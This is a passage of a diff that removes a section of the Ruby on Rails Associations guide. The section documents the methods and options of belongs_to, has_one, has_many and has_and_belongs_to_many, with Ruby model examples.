-The +:counter_cache+ option can be used to make finding the number of belonging objects more efficient. Consider these models:
-
-<ruby>
-class Order < ActiveRecord::Base
- belongs_to :customer
-end
-class Customer < ActiveRecord::Base
- has_many :orders
-end
-</ruby>
-
-With these declarations, asking for the value of +@customer.orders.size+ requires making a call to the database to perform a +COUNT(*)+ query. To avoid this call, you can add a counter cache to the _belonging_ model:
-
-<ruby>
-class Order < ActiveRecord::Base
- belongs_to :customer, :counter_cache => true
-end
-class Customer < ActiveRecord::Base
- has_many :orders
-end
-</ruby>
-
-With this declaration, Rails will keep the cache value up to date, and then return that value in response to the +size+ method.
-
-Although the +:counter_cache+ option is specified on the model that includes the +belongs_to+ declaration, the actual column must be added to the _associated_ model. In the case above, you would need to add a column named +orders_count+ to the +Customer+ model. You can override the default column name if you need to:
-
-<ruby>
-class Order < ActiveRecord::Base
- belongs_to :customer, :counter_cache => :count_of_orders
-end
-class Customer < ActiveRecord::Base
- has_many :orders
-end
-</ruby>
-
-Counter cache columns are added to the containing model's list of read-only attributes through +attr_readonly+.
-
-h6(#belongs_to-dependent). +:dependent+
-
-If you set the +:dependent+ option to +:destroy+, then deleting this object will call the +destroy+ method on the associated object to delete that object. If you set the +:dependent+ option to +:delete+, then deleting this object will delete the associated object _without_ calling its +destroy+ method.
-
-WARNING: You should not specify this option on a +belongs_to+ association that is connected with a +has_many+ association on the other class. Doing so can lead to orphaned records in your database.
-
-h6(#belongs_to-foreign_key). +:foreign_key+
-
-By convention, Rails assumes that the column used to hold the foreign key on this model is the name of the association with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
-
-<ruby>
-class Order < ActiveRecord::Base
- belongs_to :customer, :class_name => "Patron",
- :foreign_key => "patron_id"
-end
-</ruby>
-
-TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
-
-h6(#belongs_to-includes). +:include+
-
-You can use the +:include+ option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
-
-<ruby>
-class LineItem < ActiveRecord::Base
- belongs_to :order
-end
-
-class Order < ActiveRecord::Base
- belongs_to :customer
- has_many :line_items
-end
-
-class Customer < ActiveRecord::Base
- has_many :orders
-end
-</ruby>
-
-If you frequently retrieve customers directly from line items (+@line_item.order.customer+), then you can make your code somewhat more efficient by including customers in the association from line items to orders:
-
-<ruby>
-class LineItem < ActiveRecord::Base
- belongs_to :order, :include => :customer
-end
-
-class Order < ActiveRecord::Base
- belongs_to :customer
- has_many :line_items
-end
-
-class Customer < ActiveRecord::Base
- has_many :orders
-end
-</ruby>
-
-NOTE: There's no need to use +:include+ for immediate associations - that is, if you have +Order belongs_to :customer+, then the customer is eager-loaded automatically when it's needed.
-
-h6(#belongs_to-polymorphic). +:polymorphic+
-
-Passing +true+ to the +:polymorphic+ option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail <a href="#polymorphic-associations">earlier in this guide</a>.
-
-h6(#belongs_to-readonly). +:readonly+
-
-If you set the +:readonly+ option to +true+, then the associated object will be read-only when retrieved via the association.
-
-h6(#belongs_to-select). +:select+
-
-The +:select+ option lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.
-
-TIP: If you set the +:select+ option on a +belongs_to+ association, you should also set the +foreign_key+ option to guarantee the correct results.
-
-h6(#belongs_to-touch). +:touch+
-
-If you set the +:touch+ option to +:true+, then the +updated_at+ or +updated_on+ timestamp on the associated object will be set to the current time whenever this object is saved or destroyed:
-
-<ruby>
-class Order < ActiveRecord::Base
- belongs_to :customer, :touch => true
-end
-
-class Customer < ActiveRecord::Base
- has_many :orders
-end
-</ruby>
-
-In this case, saving or destroying an order will update the timestamp on the associated customer. You can also specify a particular timestamp attribute to update:
-
-<ruby>
-class Order < ActiveRecord::Base
- belongs_to :customer, :touch => :orders_updated_at
-end
-</ruby>
-
-h6(#belongs_to-validate). +:validate+
-
-If you set the +:validate+ option to +true+, then associated objects will be validated whenever you save this object. By default, this is +false+: associated objects will not be validated when this object is saved.
-
-h5(#belongs_to-do_any_associated_objects_exist). Do Any Associated Objects Exist?
-
-You can see if any associated objects exist by using the <tt><em>association</em>.nil?</tt> method:
-
-<ruby>
-if @order.customer.nil?
- @msg = "No customer found for this order"
-end
-</ruby>
-
-h5(#belongs_to-when_are_objects_saved). When are Objects Saved?
-
-Assigning an object to a +belongs_to+ association does _not_ automatically save the object. It does not save the associated object either.
-
-h4. +has_one+ Association Reference
-
-The +has_one+ association creates a one-to-one match with another model. In database terms, this association says that the other class contains the foreign key. If this class contains the foreign key, then you should use +belongs_to+ instead.
-
-h5. Methods Added by +has_one+
-
-When you declare a +has_one+ association, the declaring class automatically gains four methods related to the association:
-
-* <tt><em>association</em>(force_reload = false)</tt>
-* <tt><em>association</em>=(associate)</tt>
-* <tt>build_<em>association</em>(attributes = {})</tt>
-* <tt>create_<em>association</em>(attributes = {})</tt>
-
-In all of these methods, <tt><em>association</em></tt> is replaced with the symbol passed as the first argument to +has_one+. For example, given the declaration:
-
-<ruby>
-class Supplier < ActiveRecord::Base
- has_one :account
-end
-</ruby>
-
-Each instance of the +Supplier+ model will have these methods:
-
-<ruby>
-account
-account=
-build_account
-create_account
-</ruby>
-
-NOTE: When initializing a new +has_one+ or +belongs_to+ association you must use the +build_+ prefix to build the association, rather than the +association.build+ method that would be used for +has_many+ or +has_and_belongs_to_many+ associations. To create one, use the +create_+ prefix.
-
-h6(#has_one-association). <tt><em>association</em>(force_reload = false)</tt>
-
-The <tt><em>association</em></tt> method returns the associated object, if any. If no associated object is found, it returns +nil+.
-
-<ruby>
-@account = @supplier.account
-</ruby>
-
-If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass +true+ as the +force_reload+ argument.
-
-h6(#has_one-association_equal). <tt><em>association</em>=(associate)</tt>
-
-The <tt><em>association</em>=</tt> method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associate object's foreign key to the same value.
-
-<ruby>
-@supplier.account = @account
-</ruby>
-
-h6(#has_one-build_association). <tt>build_<em>association</em>(attributes = {})</tt>
-
-The <tt>build_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set, but the associated object will _not_ yet be saved.
-
-<ruby>
-@account = @supplier.build_account(:terms => "Net 30")
-</ruby>
-
-h6(#has_one-create_association). <tt>create_<em>association</em>(attributes = {})</tt>
-
-The <tt>create_<em>association</em></tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
-
-<ruby>
-@account = @supplier.create_account(:terms => "Net 30")
-</ruby>
-
-h5. Options for +has_one+
-
-While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +has_one+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options:
-
-<ruby>
-class Supplier < ActiveRecord::Base
- has_one :account, :class_name => "Billing", :dependent => :nullify
-end
-</ruby>
-
-The +has_one+ association supports these options:
-
-* +:as+
-* +:autosave+
-* +:class_name+
-* +:conditions+
-* +:dependent+
-* +:foreign_key+
-* +:include+
-* +:order+
-* +:primary_key+
-* +:readonly+
-* +:select+
-* +:source+
-* +:source_type+
-* +:through+
-* +:validate+
-
-h6(#has_one-as). +:as+
-
-Setting the +:as+ option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail <a href="#polymorphic-associations">earlier in this guide</a>.
-
-h6(#has_one-autosave). +:autosave+
-
-If you set the +:autosave+ option to +true+, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
-
-h6(#has_one-class_name). +:class_name+
-
-If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a supplier has an account, but the actual name of the model containing accounts is +Billing+, you'd set things up this way:
-
-<ruby>
-class Supplier < ActiveRecord::Base
- has_one :account, :class_name => "Billing"
-end
-</ruby>
-
-h6(#has_one-conditions). +:conditions+
-
-The +:conditions+ option lets you specify the conditions that the associated object must meet (in the syntax used by an SQL +WHERE+ clause).
-
-<ruby>
-class Supplier < ActiveRecord::Base
- has_one :account, :conditions => "confirmed = 1"
-end
-</ruby>
-
-h6(#has_one-dependent). +:dependent+
-
-If you set the +:dependent+ option to +:destroy+, then deleting this object will call the +destroy+ method on the associated object to delete that object. If you set the +:dependent+ option to +:delete+, then deleting this object will delete the associated object _without_ calling its +destroy+ method. If you set the +:dependent+ option to +:nullify+, then deleting this object will set the foreign key in the association object to +NULL+.
-
-h6(#has_one-foreign_key). +:foreign_key+
-
-By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
-
-<ruby>
-class Supplier < ActiveRecord::Base
- has_one :account, :foreign_key => "supp_id"
-end
-</ruby>
-
-TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
-
-h6(#has_one-include). +:include+
-
-You can use the +:include+ option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
-
-<ruby>
-class Supplier < ActiveRecord::Base
- has_one :account
-end
-
-class Account < ActiveRecord::Base
- belongs_to :supplier
- belongs_to :representative
-end
-
-class Representative < ActiveRecord::Base
- has_many :accounts
-end
-</ruby>
-
-If you frequently retrieve representatives directly from suppliers (+@supplier.account.representative+), then you can make your code somewhat more efficient by including representatives in the association from suppliers to accounts:
-
-<ruby>
-class Supplier < ActiveRecord::Base
- has_one :account, :include => :representative
-end
-
-class Account < ActiveRecord::Base
- belongs_to :supplier
- belongs_to :representative
-end
-
-class Representative < ActiveRecord::Base
- has_many :accounts
-end
-</ruby>
-
-h6(#has_one-order). +:order+
-
-The +:order+ option dictates the order in which associated objects will be received (in the syntax used by an SQL +ORDER BY+ clause). Because a +has_one+ association will only retrieve a single associated object, this option should not be needed.
-
-h6(#has_one-primary_key). +:primary_key+
-
-By convention, Rails assumes that the column used to hold the primary key of this model is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option.
-
-h6(#has_one-readonly). +:readonly+
-
-If you set the +:readonly+ option to +true+, then the associated object will be read-only when retrieved via the association.
-
-h6(#has_one-select). +:select+
-
-The +:select+ option lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.
-
-h6(#has_one-source). +:source+
-
-The +:source+ option specifies the source association name for a +has_one :through+ association.
-
-h6(#has_one-source_type). +:source_type+
-
-The +:source_type+ option specifies the source association type for a +has_one :through+ association that proceeds through a polymorphic association.
-
-h6(#has_one-through). +:through+
-
-The +:through+ option specifies a join model through which to perform the query. +has_one :through+ associations were discussed in detail <a href="#the-has_one-through-association">earlier in this guide</a>.
-
-h6(#has_one-validate). +:validate+
-
-If you set the +:validate+ option to +true+, then associated objects will be validated whenever you save this object. By default, this is +false+: associated objects will not be validated when this object is saved.
-
-h5(#has_one-do_any_associated_objects_exist). Do Any Associated Objects Exist?
-
-You can see if any associated objects exist by using the <tt><em>association</em>.nil?</tt> method:
-
-<ruby>
-if @supplier.account.nil?
- @msg = "No account found for this supplier"
-end
-</ruby>
-
-h5(#has_one-when_are_objects_saved). When are Objects Saved?
-
-When you assign an object to a +has_one+ association, that object is automatically saved (in order to update its foreign key). In addition, any object being replaced is also automatically saved, because its foreign key will change too.
-
-If either of these saves fails due to validation errors, then the assignment statement returns +false+ and the assignment itself is cancelled.
-
-If the parent object (the one declaring the +has_one+ association) is unsaved (that is, +new_record?+ returns +true+) then the child objects are not saved. They will automatically when the parent object is saved.
-
-If you want to assign an object to a +has_one+ association without saving the object, use the <tt><em>association</em>.build</tt> method.
-
-h4. +has_many+ Association Reference
-
-The +has_many+ association creates a one-to-many relationship with another model. In database terms, this association says that the other class will have a foreign key that refers to instances of this class.
-
-h5. Methods Added by +has_many+
-
-When you declare a +has_many+ association, the declaring class automatically gains 13 methods related to the association:
-
-* <tt><em>collection</em>(force_reload = false)</tt>
-* <tt><em>collection</em><<(object, ...)</tt>
-* <tt><em>collection</em>.delete(object, ...)</tt>
-* <tt><em>collection</em>=objects</tt>
-* <tt><em>collection_singular</em>_ids</tt>
-* <tt><em>collection_singular</em>_ids=ids</tt>
-* <tt><em>collection</em>.clear</tt>
-* <tt><em>collection</em>.empty?</tt>
-* <tt><em>collection</em>.size</tt>
-* <tt><em>collection</em>.find(...)</tt>
-* <tt><em>collection</em>.where(...)</tt>
-* <tt><em>collection</em>.exists?(...)</tt>
-* <tt><em>collection</em>.build(attributes = {}, ...)</tt>
-* <tt><em>collection</em>.create(attributes = {})</tt>
-
-In all of these methods, <tt><em>collection</em></tt> is replaced with the symbol passed as the first argument to +has_many+, and <tt><em>collection_singular</em></tt> is replaced with the singularized version of that symbol.. For example, given the declaration:
-
-<ruby>
-class Customer < ActiveRecord::Base
- has_many :orders
-end
-</ruby>
-
-Each instance of the customer model will have these methods:
-
-<ruby>
-orders(force_reload = false)
-orders<<(object, ...)
-orders.delete(object, ...)
-orders=objects
-order_ids
-order_ids=ids
-orders.clear
-orders.empty?
-orders.size
-orders.find(...)
-orders.where(...)
-orders.exists?(...)
-orders.build(attributes = {}, ...)
-orders.create(attributes = {})
-</ruby>
-
-h6(#has_many-collection). <tt><em>collection</em>(force_reload = false)</tt>
-
-The <tt><em>collection</em></tt> method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
-
-<ruby>
-@orders = @customer.orders
-</ruby>
-
-h6(#has_many-collection-lt_lt). <tt><em>collection</em><<(object, ...)</tt>
-
-The <tt><em>collection</em><<</tt> method adds one or more objects to the collection by setting their foreign keys to the primary key of the calling model.
-
-<ruby>
-@customer.orders << @order1
-</ruby>
-
-h6(#has_many-collection-delete). <tt><em>collection</em>.delete(object, ...)</tt>
-
-The <tt><em>collection</em>.delete</tt> method removes one or more objects from the collection by setting their foreign keys to +NULL+.
-
-<ruby>
-@customer.orders.delete(@order1)
-</ruby>
-
-WARNING: Additionally, objects will be destroyed if they're associated with +:dependent => :destroy+, and deleted if they're associated with +:dependent => :delete_all+.
-
-
-h6(#has_many-collection-equal). <tt><em>collection</em>=objects</tt>
-
-The <tt><em>collection</em>=</tt> method makes the collection contain only the supplied objects, by adding and deleting as appropriate.
-
-h6(#has_many-collection_singular). <tt><em>collection_singular</em>_ids</tt>
-
-The <tt><em>collection_singular</em>_ids</tt> method returns an array of the ids of the objects in the collection.
-
-<ruby>
-@order_ids = @customer.order_ids
-</ruby>
-
-h6(#has_many-collection_singular_ids_ids). <tt><em>collection_singular</em>_ids=ids</tt>
-
-The <tt><em>collection_singular</em>_ids=</tt> method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.
-
-h6(#has_many-collection-clear). <tt><em>collection</em>.clear</tt>
-
-The <tt><em>collection</em>.clear</tt> method removes every object from the collection. This destroys the associated objects if they are associated with +:dependent => :destroy+, deletes them directly from the database if +:dependent => :delete_all+, and otherwise sets their foreign keys to +NULL+.
-
-h6(#has_many-collection-empty). <tt><em>collection</em>.empty?</tt>
-
-The <tt><em>collection</em>.empty?</tt> method returns +true+ if the collection does not contain any associated objects.
-
-<ruby>
-<% if @customer.orders.empty? %>
- No Orders Found
-<% end %>
-</ruby>
-
-h6(#has_many-collection-size). <tt><em>collection</em>.size</tt>
-
-The <tt><em>collection</em>.size</tt> method returns the number of objects in the collection.
-
-<ruby>
-@order_count = @customer.orders.size
-</ruby>
-
-h6(#has_many-collection-find). <tt><em>collection</em>.find(...)</tt>
-
-The <tt><em>collection</em>.find</tt> method finds objects within the collection. It uses the same syntax and options as +ActiveRecord::Base.find+.
-
-<ruby>
-@open_orders = @customer.orders.where(:open => 1)
-</ruby>
-
-h6(#has_many-collection-where). <tt><em>collection</em>.where(...)</tt>
-
-The <tt><em>collection</em>.where</tt> method finds objects within the collection based on the conditions supplied but the objects are loaded lazily meaning that the database is queried only when the object(s) are accessed.
-
-<ruby>
-@open_orders = @customer.orders.where(:open => true) # No query yet
-@open_order = @open_orders.first # Now the database will be queried
-</ruby>
-
-h6(#has_many-collection-exists). <tt><em>collection</em>.exists?(...)</tt>
-
-The <tt><em>collection</em>.exists?</tt> method checks whether an object meeting the supplied conditions exists in the collection. It uses the same syntax and options as +ActiveRecord::Base.exists?+.
-
-h6(#has_many-collection-build). <tt><em>collection</em>.build(attributes = {}, ...)</tt>
-
-The <tt><em>collection</em>.build</tt> method returns one or more new objects of the associated type. These objects will be instantiated from the passed attributes, and the link through their foreign key will be created, but the associated objects will _not_ yet be saved.
-
-<ruby>
-@order = @customer.orders.build(:order_date => Time.now,
- :order_number => "A12345")
-</ruby>
-
-h6(#has_many-collection-create). <tt><em>collection</em>.create(attributes = {})</tt>
-
-The <tt><em>collection</em>.create</tt> method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be created, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
-
-<ruby>
-@order = @customer.orders.create(:order_date => Time.now,
- :order_number => "A12345")
-</ruby>
-
-h5. Options for +has_many+
-
-While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the +has_many+ association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options:
-
-<ruby>
-class Customer < ActiveRecord::Base
- has_many :orders, :dependent => :delete_all, :validate => :false
-end
-</ruby>
-
-The +has_many+ association supports these options:
-
-* +:as+
-* +:autosave+
-* +:class_name+
-* +:conditions+
-* +:counter_sql+
-* +:dependent+
-* +:extend+
-* +:finder_sql+
-* +:foreign_key+
-* +:group+
-* +:include+
-* +:limit+
-* +:offset+
-* +:order+
-* +:primary_key+
-* +:readonly+
-* +:select+
-* +:source+
-* +:source_type+
-* +:through+
-* +:uniq+
-* +:validate+
-
-h6(#has_many-as). +:as+
-
-Setting the +:as+ option indicates that this is a polymorphic association, as discussed <a href="#polymorphic-associations">earlier in this guide</a>.
-
-h6(#has_many-autosave). +:autosave+
-
-If you set the +:autosave+ option to +true+, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
-
-h6(#has_many-class_name). +:class_name+
-
-If the name of the other model cannot be derived from the association name, you can use the +:class_name+ option to supply the model name. For example, if a customer has many orders, but the actual name of the model containing orders is +Transaction+, you'd set things up this way:
-
-<ruby>
-class Customer < ActiveRecord::Base
- has_many :orders, :class_name => "Transaction"
-end
-</ruby>
-
-h6(#has_many-conditions). +:conditions+
-
-The +:conditions+ option lets you specify the conditions that the associated object must meet (in the syntax used by an SQL +WHERE+ clause).
-
-<ruby>
-class Customer < ActiveRecord::Base
- has_many :confirmed_orders, :class_name => "Order",
- :conditions => "confirmed = 1"
-end
-</ruby>
-
-You can also set conditions via a hash:
-
-<ruby>
-class Customer < ActiveRecord::Base
- has_many :confirmed_orders, :class_name => "Order",
- :conditions => { :confirmed => true }
-end
-</ruby>
-
-If you use a hash-style +:conditions+ option, then record creation via this association will be automatically scoped using the hash. In this case, using +@customer.confirmed_orders.create+ or +@customer.confirmed_orders.build+ will create orders where the confirmed column has the value +true+.
-
-If you need to evaluate conditions dynamically at runtime, use a proc:
-
-<ruby>
-class Customer < ActiveRecord::Base
- has_many :latest_orders, :class_name => "Order",
- :conditions => proc { "orders.created_at > #{10.hours.ago.to_s(:db).inspect}" }
-end
-</ruby>
-
-h6(#has_many-counter_sql). +:counter_sql+
-
-Normally Rails automatically generates the proper SQL to count the association members. With the +:counter_sql+ option, you can specify a complete SQL statement to count them yourself.
-
-NOTE: If you specify +:finder_sql+ but not +:counter_sql+, then the counter SQL will be generated by substituting +SELECT COUNT(*) FROM+ for the +SELECT ... FROM+ clause of your +:finder_sql+ statement.
-
-h6(#has_many-dependent). +:dependent+
-
-If you set the +:dependent+ option to +:destroy+, then deleting this object will call the +destroy+ method on the associated objects to delete those objects. If you set the +:dependent+ option to +:delete_all+, then deleting this object will delete the associated objects _without_ calling their +destroy+ method. If you set the +:dependent+ option to +:nullify+, then deleting this object will set the foreign key in the associated objects to +NULL+.
-
-NOTE: This option is ignored when you use the +:through+ option on the association.
-
-h6(#has_many-extend). +:extend+
-
-The +:extend+ option specifies a named module to extend the association proxy. Association extensions are discussed in detail <a href="#association-extensions">later in this guide</a>.
-
-h6(#has_many-finder_sql). +:finder_sql+
-
-Normally Rails automatically generates the proper SQL to fetch the association members. With the +:finder_sql+ option, you can specify a complete SQL statement to fetch them yourself. If fetching objects requires complex multi-table SQL, this may be necessary.
-
-h6(#has_many-foreign_key). +:foreign_key+
-
-By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix +_id+ added. The +:foreign_key+ option lets you set the name of the foreign key directly:
-
-<ruby>
-class Customer < ActiveRecord::Base
- has_many :orders, :foreign_key => "cust_id"
-end
-</ruby>
-
-TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
-
-h6(#has_many-group). +:group+
-
-The +:group+ option supplies an attribute name to group the result set by, using a +GROUP BY+ clause in the finder SQL.
-
-<ruby>
-class Customer < ActiveRecord::Base
- has_many :line_items, :through => :orders, :group => "orders.id"
-end
-</ruby>
-
-h6(#has_many-include). +:include+
-
-You can use the +:include+ option to specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
-
-<ruby>
-class Customer < ActiveRecord::Base
- has_many :orders
-end
-
-class Order < ActiveRecord::Base
- belongs_to :customer
- has_many :line_items
-end
-
-class LineItem < ActiveRecord::Base
- belongs_to :order
-end
-</ruby>
-
-If you frequently retrieve line items directly from customers (+@customer.orders.line_items+), then you can make your code somewhat more efficient by including line items in the association from customers to orders:
-
-<ruby>
-class Customer < ActiveRecord::Base
- has_many :orders, :include => :line_items
-end
-
-class Order < ActiveRecord::Base
- belongs_to :customer
- has_many :line_items
-end
-
-class LineItem < ActiveRecord::Base
- belongs_to :order
-end
-</ruby>
-
-h6(#has_many-limit). +:limit+
-
-The +:limit+ option lets you restrict the total number of objects that will be fetched through an association.
-
-<ruby>
-class Customer < ActiveRecord::Base
- has_many :recent_orders, :class_name => "Order",
- :order => "order_date DESC", :limit => 100
-end
-</ruby>
-
-h6(#has_many-offset). +:offset+
-
-The +:offset+ option lets you specify the starting offset for fetching objects via an association. For example, if you set +:offset => 11+, it will skip the first 11 records.
-
-h6(#has_many-order). +:order+
-
-The +:order+ option dictates the order in which associated objects will be received (in the syntax used by an SQL +ORDER BY+ clause).
-
-<ruby>
-class Customer < ActiveRecord::Base
- has_many :orders, :order => "date_confirmed DESC"
-end
-</ruby>
-
-h6(#has_many-primary_key). +:primary_key+
-
-By convention, Rails assumes that the column used to hold the primary key of the association is +id+. You can override this and explicitly specify the primary key with the +:primary_key+ option.
-
-h6(#has_many-readonly). +:readonly+
-
-If you set the +:readonly+ option to +true+, then the associated objects will be read-only when retrieved via the association.
-
-h6(#has_many-select). +:select+
-
-The +:select+ option lets you override the SQL +SELECT+ clause that is used to retrieve data about the associated objects. By default, Rails retrieves all columns.
-
-WARNING: If you specify your own +:select+, be sure to include the primary key and foreign key columns of the associated model. If you do not, Rails will throw an error.
-
-h6(#has_many-source). +:source+
-
-The +:source+ option specifies the source association name for a +has_many :through+ association. You only need to use this option if the name of the source association cannot be automatically inferred from the association name.
-
-h6(#has_many-source_type). +:source_type+
-
-The +:source_type+ option specifies the source association type for a +has_many :through+ association that proceeds through a polymorphic association.
-
-h6(#has_many-through). +:through+
-
-The +:through+ option specifies a join model through which to perform the query. +has_many :through+ associations provide a way to implement many-to-many relationships, as discussed <a href="#the-has_many-through-association">earlier in this guide</a>.
-
-h6(#has_many-uniq). +:uniq+
-
-Set the +:uniq+ option to true to keep the collection free of duplicates. This is mostly useful together with the +:through+ option.
-
-<ruby>
-class Person < ActiveRecord::Base
- has_many :readings
- has_many :posts, :through => :readings
-end
-
-person = Person.create(:name => 'john')
-post = Post.create(:name => 'a1')
-person.posts << post
-person.posts << post
-person.posts.inspect # => [#<Post id: 5, name: "a1">, #<Post id: 5, name: "a1">]
-Reading.all.inspect # => [#<Reading id: 12, person_id: 5, post_id: 5>, #<Reading id: 13, person_id: 5, post_id: 5>]
-</ruby>
-
-In the above case there are two readings and +person.posts+ brings out both of them even though these records are pointing to the same post.
-
-Now let's set +:uniq+ to true:
-
-<ruby>
-class Person
- has_many :readings
- has_many :posts, :through => :readings, :uniq => true
-end
-
-person = Person.create(:name => 'honda')
-post = Post.create(:name => 'a1')
-person.posts << post
-person.posts << post
-person.posts.inspect # => [#<Post id: 7, name: "a1">]
-Reading.all.inspect # => [#<Reading id: 16, person_id: 7, post_id: 7>, #<Reading id: 17, person_id: 7, post_id: 7>]
-</ruby>
-
-In the above case there are still two readings. However +person.posts+ shows only one post because the collection loads only unique records.
-
-h6(#has_many-validate). +:validate+
-
-If you set the +:validate+ option to +false+, then associated objects will not be validated whenever you save this object. By default, this is +true+: associated objects will be validated when this object is saved.
-
-h5(#has_many-when_are_objects_saved). When are Objects Saved?
-
-When you assign an object to a +has_many+ association, that object is automatically saved (in order to update its foreign key). If you assign multiple objects in one statement, then they are all saved.
-
-If any of these saves fails due to validation errors, then the assignment statement returns +false+ and the assignment itself is cancelled.
-
-If the parent object (the one declaring the +has_many+ association) is unsaved (that is, +new_record?+ returns +true+) then the child objects are not saved when they are added. All unsaved members of the association will automatically be saved when the parent is saved.
-
-If you want to assign an object to a +has_many+ association without saving the object, use the <tt><em>collection</em>.build</tt> method.
-
-h4. +has_and_belongs_to_many+ Association Reference
-
-The +has_and_belongs_to_many+ association creates a many-to-many relationship with another model. In database terms, this associates two classes via an intermediate join table that includes foreign keys referring to each of the classes.
-
-h5. Methods Added by +has_and_belongs_to_many+
-
-When you declare a +has_and_belongs_to_many+ association, the declaring class automatically gains 13 methods related to the association:
-
-* <tt><em>collection</em>(force_reload = false)</tt>
-* <tt><em>collection</em><<(object, ...)</tt>
-* <tt><em>collection</em>.delete(object, ...)</tt>
-* <tt><em>collection</em>=objects</tt>
-* <tt><em>collection_singular</em>_ids</tt>
-* <tt><em>collection_singular</em>_ids=ids</tt>
-* <tt><em>collection</em>.clear</tt>
-* <tt><em>collection</em>.empty?</tt>
-* <tt><em>collection</em>.size</tt>
-* <tt><em>collection</em>.find(...)</tt>
-* <tt><em>collection</em>.where(...)</tt>
-* <tt><em>collection</em>.exists?(...)</tt>
-* <tt><em>collection</em>.build(attributes = {})</tt>
-* <tt><em>collection</em>.create(attributes = {})</tt>
-
-In all of these methods, <tt><em>collection</em></tt> is replaced with the symbol passed as the first argument to +has_and_belongs_to_many+, and <tt><em>collection_singular</em></tt> is replaced with the singularized version of that symbol. For example, given the declaration:
-
-<ruby>
-class Part < ActiveRecord::Base
- has_and_belongs_to_many :assemblies
-end
-</ruby>
-
-Each instance of the part model will have these methods:
-
-<ruby>
-assemblies(force_reload = false)
-assemblies<<(object, ...)
-assemblies.delete(object, ...)
-assemblies=objects
-assembly_ids
-assembly_ids=ids
-assemblies.clear
-assemblies.empty?
-assemblies.size
-assemblies.find(...)
-assemblies.where(...)
-assemblies.exists?(...)
-assemblies.build(attributes = {}, ...)
-assemblies.create(attributes = {})
-</ruby>
-
-h6. Additional Column Methods
-
-If the join table for a +has_and_belongs_to_many+ association has additional columns beyond the two foreign keys, these columns will be added as attributes to records retrieved via that association. Records returned with additional attributes will always be read-only, because Rails cannot save changes to those attributes.
-
-WARNING: The use of extra attributes on the join table in a +has_and_belongs_to_many+ association is deprecated. If you require this sort of complex behavior on the table that joins two models in a many-to-many relationship, you should use a +has_many :through+ association instead of +has_and_belongs_to_many+.
-
-
-h6(#has_and_belongs_to_many-collection). <tt><em>collection</em>(force_reload = false)</tt>
-
-The <tt><em>collection</em></tt> method returns an array of all of the associated objects. If there are no associated objects, it returns an empty array.
-
-<ruby>
-@assemblies = @part.assemblies
-</ruby>
-
-h6(#has_and_belongs_to_many-collection-lt_lt). <tt><em>collection</em><<(object, ...)</tt>
-
-The <tt><em>collection</em><<</tt> method adds one or more objects to the collection by creating records in the join table.
-
-<ruby>
-@part.assemblies << @assembly1
-</ruby>
-
-NOTE: This method is aliased as <tt><em>collection</em>.concat</tt> and <tt><em>collection</em>.push</tt>.
-
-h6(#has_and_belongs_to_many-collection-delete). <tt><em>collection</em>.delete(object, ...)</tt>
-
-The <tt><em>collection</em>.delete</tt> method removes one or more objects from the collection by deleting records in the join table. This does not destroy the objects.
-
-<ruby>
-@part.assemblies.delete(@assembly1)
-</ruby>
-
-h6(#has_and_belongs_to_many-collection-equal). <tt><em>collection</em>=objects</tt>
-
-The <tt><em>collection</em>=</tt> method makes the collection contain only the supplied objects, by adding and deleting as appropriate.
-
-h6(#has_and_belongs_to_many-collection_singular). <tt><em>collection_singular</em>_ids</tt>
-
-The <tt><em>collection_singular</em>_ids</tt> method returns an array of the ids of the objects in the collection.
-
-<ruby>
-@assembly_ids = @part.assembly_ids
-</ruby>
-
-h6(#has_and_belongs_to_many-collection_singular_ids_ids). <tt><em>collection_singular</em>_ids=ids</tt>
-
-The <tt><em>collection_singular</em>_ids=</tt> method makes the collection contain only the objects identified by the supplied primary key values, by adding and deleting as appropriate.
-
-h6(#has_and_belongs_to_many-collection-clear). <tt><em>collection</em>.clear</tt>
-
-The <tt><em>collection</em>.clear</tt> method removes every object from the collection by deleting the rows from the joining table. This does not destroy the associated objects.
-
-h6(#has_and_belongs_to_many-collection-empty). <tt><em>collection</em>.empty?</tt>
-
-The <tt><em>collection</em>.empty?</tt> method returns +true+ if the collection does not contain any associated objects.
-
-<ruby>
-<% if @part.assemblies.empty? %>
- This part is not used in any assemblies
-<% end %>
-</ruby>
-
-h6(#has_and_belongs_to_many-collection-size). <tt><em>collection</em>.size</tt>
-
-The <tt><em>collection</em>.size</tt> method returns the number of objects in the collection.
-
-<ruby>
-@assembly_count = @part.assemblies.size
-</ruby>
-
